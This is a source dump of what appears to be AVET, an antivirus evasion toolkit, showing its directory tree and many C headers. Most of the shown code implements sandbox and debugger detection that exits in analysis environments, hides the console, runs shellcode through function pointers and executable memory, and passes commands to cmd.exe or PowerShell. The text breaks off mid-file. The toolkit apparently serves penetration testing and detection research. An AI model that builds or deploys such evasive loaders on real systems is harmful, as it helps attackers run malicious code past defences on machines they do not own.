├── input ├── dummy.txt └── goodware_samples │ └── put_goodware_here.txt ├── output └── dummy.txt ├── source ├── evasion │ ├── evasion.assign │ └── evasion.include ├── get_key │ ├── get_key.assign │ └── get_key.include ├── debug_print │ └── debug_print.include ├── get_command │ ├── get_command.assign │ └── get_command.include ├── get_payload │ ├── get_payload.assign │ └── get_payload.include ├── static_data │ └── static_data.include ├── command_exec │ ├── command_exec.assign │ └── command_exec.include ├── decode_payload │ ├── decode_payload.assign │ └── decode_payload.include ├── get_payload_info │ ├── get_payload_info.assign │ └── get_payload_info.include ├── implementations │ ├── gen_adversarial_exe │ │ ├── malconv │ │ │ ├── __init__.py │ │ │ ├── pretrained_malconv.pth │ │ │ └── malconv.py │ │ ├── practical_manipulations │ │ │ ├── __init__.py │ │ │ ├── partial_dos.py │ │ │ ├── padding.py │ │ │ ├── section_injection.py │ │ │ ├── full_dos.py │ │ │ ├── shift.py │ │ │ └── extend.py │ │ └── genetic_optimizer.py │ ├── encoding │ │ ├── avet │ │ │ ├── sh_format │ │ │ ├── avet_encoder │ │ │ └── avet_decoder.h │ │ ├── rc4 │ │ │ ├── rc4_encoder │ │ │ ├── rc4_decoder.h │ │ │ ├── rc4_encoder.c │ │ │ └── rc4.h │ │ ├── xor │ │ │ ├── xor_encoder │ │ │ ├── xor_decoder.h │ │ │ └── xor_encoder.c │ │ └── none │ │ │ └── none_decoder.h │ ├── evasion │ │ ├── hide_console.h │ │ ├── is_debugger_present.h │ │ ├── interaction_system_pause.h │ │ ├── interaction_getchar.h │ │ ├── evasion_by_sleep.h │ │ ├── fopen_sandbox_evasion.h │ │ ├── has_recycle_bin.h │ │ ├── has_public_desktop.h │ │ ├── has_folder.h │ │ ├── has_username.h │ │ ├── has_network_drive.h │ │ ├── has_recent_files.h │ │ ├── has_background_wp.h │ │ ├── gethostbyname_sandbox_evasion.h │ │ ├── computation_fibonacci.h │ │ ├── get_computer_domain.h │ │ ├── get_cpu_cores.h │ │ ├── get_num_processes.h │ │ ├── sleep_by_ping.h │ │ ├── get_standard_browser.h │ │ ├── get_registry_size.h │ │ ├── get_install_date.h │ │ ├── get_tickcount.h │ │ ├── get_bios_info.h │ │ ├── get_usb.h │ │ ├── computation_timed_fibonacci.h │ │ ├── get_eventlog.h │ │ ├── has_process_exit.h │ │ ├── check_fast_forwarding.h │ │ ├── has_vm_mac.h │ │ ├── interaction_msg_box.h │ │ └── has_vm_regkey.h │ ├── command_exec │ │ ├── no_command.h │ │ ├── exec_via_cmd.h │ │ └── exec_via_powershell.h │ ├── retrieve_data │ │ ├── no_data.h │ │ ├── static_from_here.h │ │ ├── from_command_line_raw.h │ │ ├── dynamic_from_file.h │ │ ├── download_curl.h │ │ ├── download_certutil.h │ │ ├── download_powershell.h │ │ ├── from_command_line_hex.h │ │ ├── download_bitsadmin.h │ │ ├── helper_functions │ │ │ └── helper_functions.h │ │ ├── static_from_file.h │ │ ├── download_internet_explorer.h │ │ └── download_socket.h │ ├── payload_execution_method │ │ ├── exec_shellcode.h │ │ ├── exec_shellcode_ASCIIMSF.h │ │ ├── exec_shellcode64.h │ │ ├── inject_shellcode.h │ │ ├── inject_dll.h │ │ ├── helper_functions │ │ │ ├── helper_functions.h │ │ │ └── helper_functions64.h │ │ ├── hollowing64.h │ │ └── hollowing32.h │ └── debug_print │ │ └── debug_print.h ├── payload_execution_method │ ├── payload_execution_method.assign │ └── payload_execution_method.include ├── data_utility.h ├── avet.c └── avetsvc.c ├── images └── pm.png ├── tools ├── sh_format │ ├── sh_format │ └── sh_format.c ├── generate_key │ ├── generate_key │ └── generate_key.c └── data_raw_to_c │ ├── data_raw_to_c │ └── data_raw_to_c.c ├── test_payloads └── exec_calc.c ├── requirements.txt ├── banner.txt ├── setup.sh ├── Dockerfile ├── avet.py └── CHANGELOG /input/dummy.txt: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /output/dummy.txt: -------------------------------------------------------------------------------- 1 | dummy 2 | -------------------------------------------------------------------------------- /source/evasion/evasion.assign: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /source/evasion/evasion.include: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /source/get_key/get_key.assign: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /source/get_key/get_key.include: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /source/debug_print/debug_print.include: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /source/get_command/get_command.assign: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /source/get_command/get_command.include: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /source/get_payload/get_payload.assign: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /source/get_payload/get_payload.include: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /source/static_data/static_data.include: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /input/goodware_samples/put_goodware_here.txt: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /source/command_exec/command_exec.assign: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /source/command_exec/command_exec.include: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /source/decode_payload/decode_payload.assign: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /source/decode_payload/decode_payload.include: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /source/get_payload_info/get_payload_info.assign: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /source/get_payload_info/get_payload_info.include: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /source/implementations/gen_adversarial_exe/malconv/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /source/payload_execution_method/payload_execution_method.assign: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /source/payload_execution_method/payload_execution_method.include: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /images/pm.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/govolution/avet/HEAD/images/pm.png -------------------------------------------------------------------------------- /source/implementations/gen_adversarial_exe/practical_manipulations/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /tools/sh_format/sh_format: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/govolution/avet/HEAD/tools/sh_format/sh_format -------------------------------------------------------------------------------- /tools/generate_key/generate_key: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/govolution/avet/HEAD/tools/generate_key/generate_key -------------------------------------------------------------------------------- /tools/data_raw_to_c/data_raw_to_c: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/govolution/avet/HEAD/tools/data_raw_to_c/data_raw_to_c -------------------------------------------------------------------------------- /source/implementations/encoding/avet/sh_format: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/govolution/avet/HEAD/source/implementations/encoding/avet/sh_format -------------------------------------------------------------------------------- /source/implementations/encoding/rc4/rc4_encoder: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/govolution/avet/HEAD/source/implementations/encoding/rc4/rc4_encoder -------------------------------------------------------------------------------- /source/implementations/encoding/xor/xor_encoder: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/govolution/avet/HEAD/source/implementations/encoding/xor/xor_encoder -------------------------------------------------------------------------------- /source/implementations/gen_adversarial_exe/malconv/pretrained_malconv.pth: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/govolution/avet/HEAD/source/implementations/gen_adversarial_exe/malconv/pretrained_malconv.pth -------------------------------------------------------------------------------- /test_payloads/exec_calc.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | 5 | BOOL APIENTRY DllMain(HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { 6 | system("calc.exe"); 7 | return TRUE; 8 | } 9 | -------------------------------------------------------------------------------- /source/implementations/evasion/hide_console.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include "../debug_print/debug_print.h" 5 | 6 | 7 | // Hides the console window 8 | // arg1 is not used here and therefore ignored 9 | void hide_console(char *arg1) { 10 | DEBUG_PRINT("Hiding console window...\n"); 11 | ShowWindow(GetConsoleWindow(), SW_HIDE); 12 | } 13 | -------------------------------------------------------------------------------- /source/implementations/command_exec/no_command.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "../debug_print/debug_print.h" 4 | 5 | 6 | // Dummy function to handle cases where no command is executed. 7 | // In that case, both arguments command and command_size are ignored. 8 | void no_command(const char *command, int command_size) { 9 | DEBUG_PRINT("\"no_command\" command_exec function called.\n"); 10 | } 11 | -------------------------------------------------------------------------------- /source/implementations/command_exec/exec_via_cmd.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include "../debug_print/debug_print.h" 5 | 6 | 7 | // Starts cmd.exe and executes the command speficied. 8 | void exec_via_cmd(const char *command, int command_size) { 9 | DEBUG_PRINT("exec_via_cmd called.\n"); 10 | DEBUG_PRINT("Passing command %s to cmd.exe\n", command); 11 | system(command); 12 | } 13 | -------------------------------------------------------------------------------- /source/implementations/retrieve_data/no_data.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "../debug_print/debug_print.h" 4 | 5 | 6 | // Dummy function to handle cases where no actual data is retrieved, e.g. no key needed when no encoding is specified. 7 | unsigned char *no_data(char *arg1, int *data_size) { 8 | DEBUG_PRINT("\"no_data\" retrieve_data function called.\n"); 9 | *data_size = 0; 10 | return 0; 11 | } 12 | -------------------------------------------------------------------------------- /source/implementations/encoding/avet/avet_encoder: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # This path assumes that format.sh is called from the avet folder, as should be the case then executing build scripts 3 | # $1: Name of the file containing the payload to be encoded 4 | # $2: Name of the file where the encoded payload shall be written to 5 | ./source/implementations/encoding/avet/sh_format $1 | tr -d "\n" | tr -d "x" | tr -d '\\' | tr -d "\"" | tr -d ";" > $2 6 | 7 | -------------------------------------------------------------------------------- /source/implementations/evasion/is_debugger_present.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include "../debug_print/debug_print.h" 9 | 10 | 11 | // Exits if debugger is present 12 | void is_debugger_present(char *arg1) { 13 | 14 | if(!IsDebuggerPresent()) { 15 | DEBUG_PRINT("Proceed!\n"); 16 | } else { 17 | exit(0); 18 | } 19 | } -------------------------------------------------------------------------------- /source/implementations/evasion/interaction_system_pause.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | #include "../debug_print/debug_print.h" 6 | 7 | 8 | // Execute system("pause"), causing the spawned cmd (and our main process) to wait for any keypress. 9 | // 10 | // arg1: not used 11 | void interaction_system_pause(char *arg1) { 12 | DEBUG_PRINT("Calling system(pause)...\n"); 13 | system("pause"); 14 | DEBUG_PRINT("Proceeding..."); 15 | } 16 | -------------------------------------------------------------------------------- /source/implementations/evasion/interaction_getchar.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include "../debug_print/debug_print.h" 5 | 6 | 7 | // Wait until input is delivered using getchar. 8 | // 9 | // arg1: not used 10 | void interaction_getchar(char *arg1) { 11 | DEBUG_PRINT("Waiting for input...\n"); 12 | char input = getchar(); 13 | // Output gathered input to avoid dead code 14 | putchar(input); 15 | DEBUG_PRINT("Input delivered, proceeding..."); 16 | } 17 | -------------------------------------------------------------------------------- /source/implementations/encoding/none/none_decoder.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include "../../debug_print/debug_print.h" 5 | 6 | 7 | // Dummy function to handle options where no encoding/decoding is applied at all 8 | void decode_none(const unsigned char *ciphertext, const int ciphertext_length, const unsigned char *key, const int key_length, unsigned char *plaintext) { 9 | DEBUG_PRINT("decode_none function called \n"); 10 | memcpy(plaintext, ciphertext, ciphertext_length); 11 | } 12 | -------------------------------------------------------------------------------- /source/implementations/evasion/evasion_by_sleep.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | #include 6 | #include "../debug_print/debug_print.h" 7 | 8 | 9 | // Sleep for a specified time 10 | // 11 | // arg1: time in Seconds 12 | void evasion_by_sleep(char *arg1) { 13 | DEBUG_PRINT("Applying evasion_by_sleep technique.\n"); 14 | DEBUG_PRINT("Sleeping for %s Seconds...\n", arg1); 15 | 16 | int time = atoi(arg1); 17 | Sleep(time * 1000); 18 | DEBUG_PRINT("Proceed!\n"); 19 | } 20 | -------------------------------------------------------------------------------- /source/implementations/retrieve_data/static_from_here.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "static_from_file.h" 4 | 5 | 6 | // Static inclusion of data. 7 | // Data is formatted as array and written into the static_data.include file by the set_*_source function. 8 | // This function wraps static_from_file, as the prodecure is the same. 9 | // 10 | // arg1 specifies which array the data is read from. 11 | // data_size receives the size of the data in bytes. 12 | unsigned char *static_from_here(char *arg1, int *data_size) { 13 | return static_from_file(arg1, data_size); 14 | } 15 | -------------------------------------------------------------------------------- /tools/data_raw_to_c/data_raw_to_c.c: -------------------------------------------------------------------------------- 1 | #include "../../source/data_utility.h" 2 | 3 | 4 | // Takes raw data as input from a file, converts it into C-array format and writes output to another file. 5 | // 6 | // argv[1]: Name of the file to read the raw data from 7 | // argv[2]: Name of the file to write the C-style array into 8 | // argv[3]: Name of the array to write the data into 9 | int main(int argc, char **argv) { 10 | int data_size = 0; 11 | unsigned char *data = data_from_file_raw(argv[1], &data_size); 12 | data_to_file(data, data_size, argv[2], argv[3]); 13 | return 0; 14 | } 15 | -------------------------------------------------------------------------------- /source/implementations/evasion/fopen_sandbox_evasion.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | #include "../debug_print/debug_print.h" 6 | 7 | 8 | // Checks if a given file exists on the system. If opening fails, the program exits. 9 | // 10 | // arg1: Specifies the file to check upon. 11 | void fopen_sandbox_evasion(char *arg1) { 12 | DEBUG_PRINT("Applying fopen sandbox evasion technique.\n"); 13 | DEBUG_PRINT("Checking for file %s...\n", arg1); 14 | 15 | FILE *fp = fopen(arg1, "rb"); 16 | 17 | if (fp == NULL) { 18 | exit(0); 19 | } 20 | 21 | fclose(fp); 22 | } 23 | -------------------------------------------------------------------------------- /source/implementations/encoding/xor/xor_decoder.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "../../debug_print/debug_print.h" 4 | 5 | 6 | // XORs the ciphertext with the key and stores the result in plaintext. 7 | // The key bytes are applied succesively. The ciphertext_length is not required to be a multiple of the key_length. 8 | void decode_xor(const unsigned char *ciphertext, const int ciphertext_length, const unsigned char *key, const int key_length, unsigned char *plaintext) { 9 | DEBUG_PRINT("This is XOR decoder.\n"); 10 | for(int i = 0; i < ciphertext_length; i++) { 11 | plaintext[i] = ciphertext[i] ^ key[i % key_length]; 12 | } 13 | } 14 | -------------------------------------------------------------------------------- /source/implementations/evasion/has_recycle_bin.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | #include 6 | #include "../debug_print/debug_print.h" 7 | 8 | 9 | // Check if Recycle Bin exists, proceed if this is the case 10 | void has_recycle_bin(char *arg1) { 11 | DEBUG_PRINT("Applying has_recycle_bin evasion technique.\n"); 12 | DEBUG_PRINT("Exiting if recycle bin does not exists.\n"); 13 | 14 | struct stat stats; 15 | 16 | stat("c:\\$Recycle.Bin", &stats); 17 | 18 | if (S_ISDIR(stats.st_mode)) { 19 | DEBUG_PRINT("Proceed!\n"); 20 | } else { 21 | exit(0); 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /source/implementations/evasion/has_public_desktop.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | #include 6 | #include "../debug_print/debug_print.h" 7 | 8 | 9 | // Check if Public Desktop exists, proceed if this is the case 10 | void has_public_desktop(char *arg1) { 11 | DEBUG_PRINT("Applying has_public_desktop evasion technique.\n"); 12 | DEBUG_PRINT("Exiting if public desktop does not exists.\n"); 13 | 14 | struct stat stats; 15 | 16 | stat("c:\\Users\\Public\\Desktop", &stats); 17 | 18 | if (S_ISDIR(stats.st_mode)) { 19 | DEBUG_PRINT("Proceed!\n"); 20 | } else { 21 | exit(0); 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /source/implementations/payload_execution_method/exec_shellcode.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | #include "../debug_print/debug_print.h" 6 | 7 | 8 | // Currently ignores payload_info. 9 | // Currently also ignores shellcode_size, as the function binding does not require it. 10 | void exec_shellcode(unsigned char *shellcode, int shellcode_size, char *payload_info) { 11 | DEBUG_PRINT("exec_shellcode called.\n"); 12 | 13 | // Check for NULL pointer to handle cases where no shellcode data was retrieved 14 | if(shellcode != NULL) { 15 | int (*funct)(); 16 | funct = (int (*)()) shellcode; 17 | (int)(*funct)(); 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /source/implementations/evasion/has_folder.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | #include 6 | #include "../debug_print/debug_print.h" 7 | 8 | // This fuction checks if a folder exists. 9 | // 10 | // arg1: path to folder 11 | // must be in unix style, because "\" makes problems 12 | void has_folder(char *arg1) { 13 | DEBUG_PRINT("Applying has_folder evasion technique.\n"); 14 | DEBUG_PRINT("Exiting if %s does not exists.\n", arg1); 15 | 16 | struct stat stats; 17 | 18 | stat(arg1, &stats); 19 | 20 | if (S_ISDIR(stats.st_mode)) { 21 | DEBUG_PRINT("Proceed!\n"); 22 | } else { 23 | exit(0); 24 | } 25 | } 26 | -------------------------------------------------------------------------------- /source/implementations/payload_execution_method/exec_shellcode_ASCIIMSF.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include "../debug_print/debug_print.h" 5 | 6 | 7 | // Currently ignores payload_info 8 | // Currently also ignores shellcode_size, as it is not requires by the function binding 9 | void exec_shellcode_ASCIIMSF(unsigned char *shellcode, int shellcode_size, char *payload_info) { 10 | DEBUG_PRINT("exec_shellcode_ASCIIMSF called\n"); 11 | 12 | // Check for NULL pointer to handle cases where no shellcode data was retrieved 13 | if(shellcode != NULL) { 14 | register unsigned char *r asm("eax"); 15 | r = shellcode; 16 | asm("call *%eax;"); 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /source/implementations/command_exec/exec_via_powershell.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | #include "../debug_print/debug_print.h" 6 | 7 | 8 | // Starts powershell.exe and executes the command specified. 9 | void exec_via_powershell(const char *command, int command_size) { 10 | DEBUG_PRINT("exec_via_powershell called.\n"); 11 | 12 | char *powershell_call = "powershell.exe "; 13 | char *system_arg = (char *) malloc(strlen(powershell_call) + command_size + 1); 14 | strcpy(system_arg, powershell_call); 15 | strcat(system_arg, command); 16 | 17 | DEBUG_PRINT("Passing argument %s to cmd.exe\n", system_arg); 18 | 19 | system(system_arg); 20 | } 21 | -------------------------------------------------------------------------------- /tools/sh_format/sh_format.c: -------------------------------------------------------------------------------- 1 | //./sh_format rev.txt | tr -d "\n" | tr -d "x" | tr -d "\\" | tr -d "\"" | tr -d ";" 2 | 3 | #include 4 | #include 5 | 6 | int main (int argc, char **argv) 7 | { 8 | char *filename = argv[1]; 9 | FILE *file = fopen ( filename, "r" ); 10 | int u = 0; 11 | if ( file != NULL ) 12 | { 13 | char line [ 500 ]; 14 | while ( ( fgets ( line, sizeof line, file ) != NULL ) && (u<=1) ) 15 | { 16 | if (line[0]=='u') 17 | u++; 18 | 19 | 20 | else if (line[0]=='\"') 21 | fputs ( line, stdout ); 22 | 23 | } 24 | fclose ( file ); 25 | } 26 | else 27 | { 28 | perror ( filename ); 29 | } 30 | return 0; 31 | } 32 | -------------------------------------------------------------------------------- /source/implementations/payload_execution_method/exec_shellcode64.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | #include "../debug_print/debug_print.h" 6 | 7 | 8 | // Currently ignores payload_info 9 | // Requires shellcode_size for VirtualProtect call 10 | void exec_shellcode64(unsigned char *shellcode, int shellcode_size, char *payload_info) { 11 | DEBUG_PRINT("exec_shellcode64 called\n"); 12 | DEBUG_PRINT("Shellcode size: %d\n", shellcode_size); 13 | 14 | // Check for NULL pointer to handle cases where no shellcode data was retrieved 15 | if(shellcode != NULL) { 16 | DWORD l = 0; 17 | VirtualProtect(shellcode, shellcode_size, PAGE_EXECUTE_READWRITE, &l); 18 | (* (int(*)()) shellcode)(); 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /source/implementations/evasion/has_username.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include "../debug_print/debug_print.h" 8 | 9 | 10 | // Lookup the username of the current user 11 | // 12 | // arg1: username, if given username does not match with the fetched username 13 | // the Program exits 14 | void has_username(char *arg1) { 15 | 16 | char* username = getenv("USERNAME");; 17 | 18 | 19 | DEBUG_PRINT("Applying has_username evasion technique.\n"); 20 | DEBUG_PRINT("Exiting if given username does not match.\n"); 21 | 22 | if (!strcmp(username, arg1)) { 23 | DEBUG_PRINT("Proceed!\n"); 24 | } else { 25 | DEBUG_PRINT("Username does not match %s != %s.\n", arg1, username); 26 | exit(0); 27 | } 28 | } 29 | -------------------------------------------------------------------------------- /source/implementations/evasion/has_network_drive.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | #include 6 | #include "../debug_print/debug_print.h" 7 | 8 | 9 | // Check if Network Drive exists, proceed if this is the case 10 | void has_network_drive(char *arg1) { 11 | char * network = getenv("CSIDL_NETWORK"); 12 | 13 | if (!network) { 14 | DEBUG_PRINT("Unable to get CSIDL_NETWORK\n"); 15 | } 16 | 17 | DEBUG_PRINT("Applying has_network_drive evasion technique.\n"); 18 | DEBUG_PRINT("Exiting if recent files directory does not exist.\n"); 19 | struct stat stats; 20 | 21 | stat(network, &stats); 22 | 23 | if (S_ISDIR(stats.st_mode)) { 24 | DEBUG_PRINT("Proceed!\n"); 25 | } else { 26 | exit(0); 27 | } 28 | } 29 | -------------------------------------------------------------------------------- /source/implementations/evasion/has_recent_files.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | #include 6 | #include "../debug_print/debug_print.h" 7 | 8 | 9 | // Check if Recent Files Folder exists, proceed if this is the case 10 | void has_recent_files() { 11 | char * recentFiles = getenv("CSIDL_RECENT"); 12 | 13 | if (!recentFiles) { 14 | DEBUG_PRINT("Unable to get CSIDL_RECENT\n"); 15 | } 16 | 17 | DEBUG_PRINT("Applying has_recent_files evasion technique.\n"); 18 | DEBUG_PRINT("Exiting if recent files directory does not exist.\n"); 19 | struct stat stats; 20 | 21 | stat(recentFiles, &stats); 22 | 23 | if (S_ISDIR(stats.st_mode)) { 24 | DEBUG_PRINT("Proceed!\n"); 25 | } else { 26 | exit(0); 27 | } 28 | } 29 | -------------------------------------------------------------------------------- /source/implementations/encoding/rc4/rc4_decoder.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "../../debug_print/debug_print.h" 4 | #include "rc4.h" 5 | 6 | 7 | // RC4-decrypts the ciphertext with the key and stores the result in plaintext. 8 | // To do this, the RC4 function is applied reverse to encryption, with the ciphertext posing as the plain text, and vice versa. 9 | void decode_rc4(const unsigned char *ciphertext, const int ciphertext_length, const unsigned char *key, const int key_length, unsigned char *plaintext) { 10 | DEBUG_PRINT("This is RC4 decoder.\n"); 11 | // Function signature: 12 | // void RC4(const unsigned char *plaintext, const int plaintext_length, const unsigned char *key, const int key_length, unsigned char *ciphertext) 13 | RC4(ciphertext, ciphertext_length, key, key_length, plaintext); 14 | } 15 | -------------------------------------------------------------------------------- /source/implementations/evasion/has_background_wp.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include "../debug_print/debug_print.h" 8 | 9 | 10 | // Proceed if a background wallpaper is set, else exits 11 | void has_background_wp(char *arg1) { 12 | char * appdata = getenv("APPDATA"); 13 | 14 | if (!appdata) { 15 | DEBUG_PRINT("Unable to get APPDATA.\n"); 16 | } 17 | char buffer[1024]; 18 | sprintf(buffer, "%s\\Microsoft\\Windows\\Themes\\TranscodedWallpaper", appdata); 19 | 20 | DEBUG_PRINT("Applying has_background_wp evasion technique.\n"); 21 | DEBUG_PRINT("Exiting if background wallpaper is not set\n"); 22 | if( access(buffer, F_OK ) != -1 ) { 23 | DEBUG_PRINT("Proceed!\n"); 24 | } else { 25 | exit(0); 26 | } 27 | } 28 | -------------------------------------------------------------------------------- /source/implementations/evasion/gethostbyname_sandbox_evasion.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | #include 6 | #include "../debug_print/debug_print.h" 7 | 8 | 9 | // gethostbyname evasion technique. 10 | // Attempts to gather information associated with a specified host. 11 | // The gethostbyname function is expected to fail (by returning NULL). If it succeeds instead, the program exits. 12 | // 13 | // arg1: Specifies the host name to lookup. 14 | // --- 15 | // Link with -lws2_32 switch when compiling 16 | void gethostbyname_sandbox_evasion(char *arg1) { 17 | DEBUG_PRINT("Applying gethostbyname sandbox evasion technique.\n"); 18 | DEBUG_PRINT("Attempting to retrieve info for hostname %s...\n", arg1); 19 | 20 | struct hostent *hp = gethostbyname(arg1); 21 | 22 | if(hp != NULL) { 23 | exit(0); 24 | } 25 | } 26 | -------------------------------------------------------------------------------- /source/implementations/evasion/computation_fibonacci.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include "../debug_print/debug_print.h" 5 | 6 | 7 | // Compute arg1 iterations of the Fibonacci series. 8 | // (Will likely produce false results for greater n due to modulo reduction inside integer boundaries) 9 | // 10 | // arg1: Number of iterations to compute 11 | void computation_fibonacci(char *arg1) { 12 | int n = atoi(arg1); 13 | DEBUG_PRINT("Computing the %sth number of the fibonacci series...\n", arg1); 14 | 15 | unsigned int a = 0; 16 | unsigned int b = 1; 17 | unsigned int c = 0; 18 | 19 | int i = 2; 20 | while (i < n) { 21 | c = a + b; 22 | a = b; 23 | b = c; 24 | i++; 25 | } 26 | 27 | // Ensure that the computed value is used at the end of the data flow to avoid dead code. 28 | printf("Number is %u.", c); 29 | } 30 | -------------------------------------------------------------------------------- /source/implementations/retrieve_data/from_command_line_raw.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | #include "../debug_print/debug_print.h" 6 | 7 | 8 | // Retrieved data from the command line. 9 | // The given ASCII string is interpreted as raw byte data. 10 | // Can be used to retrieve data of such format from the command line if arg1 = argv[1]. 11 | // 12 | // data_size receives the size of the data in bytes. 13 | unsigned char *from_command_line_raw(char *arg1, int *data_size) { 14 | DEBUG_PRINT("Retrieving data from command line arguments, expecting raw ASCII format...\n"); 15 | // Get input string length 16 | *data_size = strlen(arg1); 17 | 18 | // Interpret as raw data and copy into new allocated buffer 19 | unsigned char *data = (unsigned char *) malloc(*data_size); 20 | memcpy(data, arg1, *data_size); 21 | 22 | return data; 23 | } 24 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | autopep8==2.0.0 2 | certifi==2022.9.24 3 | charset-normalizer==2.1.1 4 | contourpy==1.0.6 5 | cycler==0.11.0 6 | fonttools==4.38.0 7 | idna==3.4 8 | joblib==1.2.0 9 | kiwisolver==1.4.4 10 | lief==0.12.2 11 | matplotlib==3.0.3 12 | mpmath==1.2.1 13 | networkx==3.0rc1 14 | numpy==1.23.4 15 | nvidia-cublas-cu11==11.10.3.66 16 | nvidia-cuda-nvrtc-cu11==11.7.99 17 | nvidia-cuda-runtime-cu11==11.7.99 18 | nvidia-cudnn-cu11==8.5.0.96 19 | packaging==21.3 20 | Pillow==9.3.0 21 | pycodestyle==2.9.1 22 | pyparsing==3.0.9 23 | python-dateutil==2.8.2 24 | python-magic==0.4.27 25 | requests==2.28.1 26 | scikit-learn==1.1.3 27 | scipy==1.9.3 28 | secml==0.13.post1 29 | six==1.16.0 30 | sympy==1.11.1 31 | threadpoolctl==3.1.0 32 | tomli==2.0.1 33 | torch==1.14.0.dev20221115+cu117 34 | torchaudio==0.14.0.dev20221115+cu117 35 | torchvision==0.15.0.dev20221115+cu117 36 | typing_extensions==4.4.0 37 | urllib3==1.26.12 38 | -------------------------------------------------------------------------------- /source/implementations/retrieve_data/dynamic_from_file.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include "../debug_print/debug_print.h" 5 | #include "helper_functions/helper_functions.h" 6 | 7 | 8 | // Dynamic retrieval of data from file 9 | // Dynamic in this context means that the data is not statically compiled into the executable, 10 | // but instead is retrieved from a file at run time. 11 | // 12 | // arg1 specifies the filename to fetch the data from. 13 | // data_size receives the size of the data in bytes. 14 | unsigned char *dynamic_from_file(char *arg1, int *data_size) { 15 | // First command line argument specifies the file name to read from 16 | char *filename = arg1; 17 | 18 | DEBUG_PRINT("Dynamically retrieving data from file %s...\n", filename); 19 | 20 | *data_size = get_filesize(filename); 21 | // Memory allocation is handled by load_textfile 22 | return load_textfile(filename, *data_size); 23 | } 24 | -------------------------------------------------------------------------------- /source/implementations/evasion/get_computer_domain.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | #include 6 | #include "../debug_print/debug_print.h" 7 | 8 | 9 | // Queries the 